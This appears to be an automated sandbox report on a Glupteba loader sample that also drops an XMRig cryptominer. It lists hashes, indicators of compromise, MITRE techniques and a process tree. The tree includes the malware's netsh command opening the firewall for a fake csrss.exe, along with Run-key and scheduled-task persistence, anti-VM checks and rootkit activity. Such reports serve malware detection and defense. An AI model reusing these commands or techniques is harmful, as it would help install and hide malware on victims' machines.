glupteba | ebb99489b66b8d0a838adc0ac0cb13cf0641a4ba0618644311a26982692e938e

Analysis

max time kernel
299s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2024, 02:37

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General

Target
6779d89b7a368f4f3f340b50a9d18d71.exe
Size 4.2MB
Sample240419-c4gmkafe2z
SHA256 ebb99489b66b8d0a838adc0ac0cb13cf0641a4ba0618644311a26982692e938e
MD5 df93b9b1fb9fe310d16e573d47bc2d5a
SHA1 f3ce40f30135473ead9495cd91b607f0186611c7
SHA512 0179314c61f3a746c81d0b2e3fd6db46fda3d707d4452c2c319e8b25195d7adad05650967d406d6cf8e25e3a743a7b7f7949971d673d463df7d82e38f87c41c0
SSDEEP 98304:KeU9Bh0ZpWG7460rhxj0FMVy+9LgCbGoD1OyJCOsGUxDW88A2xBQ03:K9j0jWE+llaMVy+90CpOuCOqDWtA2xBL
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba xmrig discovery dropper evasion loader miner persistence rootkit upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 34 IoCs

resource	yara_rule
behavioral2/memory/2272-2-0x0000000005160000-0x0000000005A4B000-memory.dmp	family_glupteba
behavioral2/memory/2272-3-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/2272-54-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/2272-56-0x0000000005160000-0x0000000005A4B000-memory.dmp	family_glupteba
behavioral2/memory/4612-58-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4612-106-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4612-122-0x0000000003440000-0x000000000383F000-memory.dmp	family_glupteba
behavioral2/memory/4612-147-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4612-155-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-191-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-259-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-267-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-269-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-271-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-273-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-275-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-277-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-279-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-281-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-283-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-285-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-287-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-289-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-291-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-293-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-295-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-297-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-299-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-301-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-303-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-305-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-307-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-309-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba
behavioral2/memory/4804-387-0x0000000000400000-0x0000000003009000-memory.dmp	family_glupteba

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000700000002342e-364.dat	family_xmrig
behavioral2/files/0x000700000002342e-364.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4424	netsh.exe

Executes dropped EXE 8 IoCs

pid	Process
4804	csrss.exe
3784	injector.exe
1652	windefender.exe
2964	windefender.exe
2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
1908	wup.exe
4800	csrss.exe
3284	713674d5e968cbe2102394be0b2bae6f.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000002342b-262.dat	upx
behavioral2/memory/1652-266-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2964-268-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2964-272-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x000e000000023405-345.dat	upx
behavioral2/memory/2936-366-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000800000002342f-389.dat	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6779d89b7a368f4f3f340b50a9d18d71.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	6779d89b7a368f4f3f340b50a9d18d71.exe
File created	C:\Windows\rss\csrss.exe	6779d89b7a368f4f3f340b50a9d18d71.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3196	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4412	2272	WerFault.exe	82
1124	4612	WerFault.exe	91

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2348	schtasks.exe
4588	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2451 = "Saint Pierre Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-1832 = "Russia TZ 2 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-1021 = "Bangladesh Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-232 = "Hawaiian Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-335 = "Jordan Standard Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-572 = "China Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2892 = "Sudan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2411 = "Marquesas Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2321 = "Sakhalin Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2182 = "Astrakhan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-2841 = "Saratov Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	6779d89b7a368f4f3f340b50a9d18d71.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-562 = "SE Asia Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4636	powershell.exe
4636	powershell.exe
2272	6779d89b7a368f4f3f340b50a9d18d71.exe
2272	6779d89b7a368f4f3f340b50a9d18d71.exe
3148	powershell.exe
3148	powershell.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
4612	6779d89b7a368f4f3f340b50a9d18d71.exe
1544	powershell.exe
1544	powershell.exe
4756	powershell.exe
4756	powershell.exe
2072	powershell.exe
2072	powershell.exe
3148	powershell.exe
3148	powershell.exe
4832	powershell.exe
4832	powershell.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
4804	csrss.exe
4804	csrss.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
4804	csrss.exe
4804	csrss.exe
3784	injector.exe
3784	injector.exe
4804	csrss.exe
4804	csrss.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe
3784	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	2272	6779d89b7a368f4f3f340b50a9d18d71.exe
Token: SeImpersonatePrivilege	2272	6779d89b7a368f4f3f340b50a9d18d71.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	2072	powershell.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	4832	powershell.exe
Token: SeSystemEnvironmentPrivilege	4804	csrss.exe
Token: SeSecurityPrivilege	3196	sc.exe
Token: SeSecurityPrivilege	3196	sc.exe
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeLockMemoryPrivilege	1908	wup.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1908	wup.exe

Suspicious use of WriteProcessMemory 56 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 4636	2272	6779d89b7a368f4f3f340b50a9d18d71.exe	87
PID 2272 wrote to memory of 4636	2272	6779d89b7a368f4f3f340b50a9d18d71.exe	87
PID 2272 wrote to memory of 4636	2272	6779d89b7a368f4f3f340b50a9d18d71.exe	87
PID 4612 wrote to memory of 3148	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	97
PID 4612 wrote to memory of 3148	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	97
PID 4612 wrote to memory of 3148	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	97
PID 4612 wrote to memory of 4820	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	99
PID 4612 wrote to memory of 4820	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	99
PID 4820 wrote to memory of 4424	4820	cmd.exe	101
PID 4820 wrote to memory of 4424	4820	cmd.exe	101
PID 4612 wrote to memory of 1544	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	102
PID 4612 wrote to memory of 1544	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	102
PID 4612 wrote to memory of 1544	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	102
PID 4612 wrote to memory of 4756	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	104
PID 4612 wrote to memory of 4756	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	104
PID 4612 wrote to memory of 4756	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	104
PID 4612 wrote to memory of 4804	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	106
PID 4612 wrote to memory of 4804	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	106
PID 4612 wrote to memory of 4804	4612	6779d89b7a368f4f3f340b50a9d18d71.exe	106
PID 4804 wrote to memory of 2072	4804	csrss.exe	110
PID 4804 wrote to memory of 2072	4804	csrss.exe	110
PID 4804 wrote to memory of 2072	4804	csrss.exe	110
PID 4804 wrote to memory of 3148	4804	csrss.exe	117
PID 4804 wrote to memory of 3148	4804	csrss.exe	117
PID 4804 wrote to memory of 3148	4804	csrss.exe	117
PID 4804 wrote to memory of 4832	4804	csrss.exe	119
PID 4804 wrote to memory of 4832	4804	csrss.exe	119
PID 4804 wrote to memory of 4832	4804	csrss.exe	119
PID 4804 wrote to memory of 3784	4804	csrss.exe	121
PID 4804 wrote to memory of 3784	4804	csrss.exe	121
PID 1652 wrote to memory of 3776	1652	windefender.exe	127
PID 1652 wrote to memory of 3776	1652	windefender.exe	127
PID 1652 wrote to memory of 3776	1652	windefender.exe	127
PID 3776 wrote to memory of 3196	3776	cmd.exe	128
PID 3776 wrote to memory of 3196	3776	cmd.exe	128
PID 3776 wrote to memory of 3196	3776	cmd.exe	128
PID 4804 wrote to memory of 1196	4804	csrss.exe	130
PID 4804 wrote to memory of 1196	4804	csrss.exe	130
PID 4804 wrote to memory of 1196	4804	csrss.exe	130
PID 4804 wrote to memory of 2936	4804	csrss.exe	132
PID 4804 wrote to memory of 2936	4804	csrss.exe	132
PID 4804 wrote to memory of 2936	4804	csrss.exe	132
PID 4804 wrote to memory of 4976	4804	csrss.exe	134
PID 4804 wrote to memory of 4976	4804	csrss.exe	134
PID 4804 wrote to memory of 4976	4804	csrss.exe	134
PID 2936 wrote to memory of 1908	2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	136
PID 2936 wrote to memory of 1908	2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	136
PID 2936 wrote to memory of 4800	2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	137
PID 2936 wrote to memory of 4800	2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	137
PID 2936 wrote to memory of 4800	2936	dcb505dc2b9d8aac05f4ca0727f5eadb.exe	137
PID 4804 wrote to memory of 3284	4804	csrss.exe	138
PID 4804 wrote to memory of 3284	4804	csrss.exe	138
PID 4804 wrote to memory of 3284	4804	csrss.exe	138
PID 4804 wrote to memory of 4144	4804	csrss.exe	140
PID 4804 wrote to memory of 4144	4804	csrss.exe	140
PID 4804 wrote to memory of 4144	4804	csrss.exe	140

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe
"C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4636
- C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe
  "C:\Users\Admin\AppData\Local\Temp\6779d89b7a368f4f3f340b50a9d18d71.exe"
  2⤵
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3148
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:4424
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1544
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4756
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
